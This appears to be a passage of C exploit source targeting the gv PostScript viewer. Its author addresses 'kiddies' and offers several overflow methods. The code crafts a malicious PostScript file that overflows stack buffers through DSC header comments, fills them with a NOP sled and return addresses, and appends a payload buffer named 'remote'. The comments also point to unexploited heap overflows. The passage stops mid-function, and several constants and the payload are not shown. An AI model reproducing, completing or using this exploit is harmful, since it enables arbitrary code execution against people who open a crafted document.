/* * gv postscript viewer exploit part deux, infamous42md AT hotpop DOT com * * ok kiddies you've got choices here! we can overflow the text buffer at 5 * different places, we can also overflow the heap at 2 places, and ooh i * bet if you look around there are tons of other places as well! * */ #include <stdio.h> #include <sys/types.h> #include <fcntl.h> #include <stdlib.h> #include <unistd.h> #include <string.h>
int main(int argc, char **argv) { int len, x, fd; char buf[BS]; u_char methodman = 0x0; u_long retaddr;
if(argc < 3){ fprintf(stderr, "Usage: %s < retaddr > < ownage method c b o p r>\n", argv[0]); return EXIT_FAILURE; } sscanf(argv[1], "%lx", &retaddr); methodman = argv[2][0];
/* create 3vil buf */ memset(buf, NOP, BS); if(methodman == 'b') len = snprintf(buf, BS-1, "%s\n%s", PS_COMMENT, BOUND_BOX); else if(methodman == 'c') len = snprintf(buf, BS-1, "%s", PS_COMMENT); else if(methodman == 'o') len = snprintf(buf, BS-1, "%s\n%s", PS_COMMENT, ORIENTATION); else if(methodman == 'p') len = snprintf(buf, BS-1, "%s\n%s", PS_COMMENT, PAGES); else if(methodman == 'r') len = snprintf(buf, BS-1, "%s\n%s", PS_COMMENT, PAGE_ORDER); else{ printf( "Cmon man pick a funkin method!!\n" "oh i see, 5 is not enough to choose from??\n" "don't worry, there are more, just read the source to find them\n" "ok fine, you don't want to overflow the stack, understandable.\n" "there are also some heap overflows you picky bastard\n" "grep -n sscanf\n"); return EXIT_FAILURE; }
for(x = 0; x < RETADDR_BYTES - 3; x += sizeof(retaddr)) memcpy(buf+x+len, &retaddr, sizeof(retaddr)); len += x + NNOPS; strcpy(buf+len, remote); strcat(buf+len, "\n"); len += strlen(remote) + 2;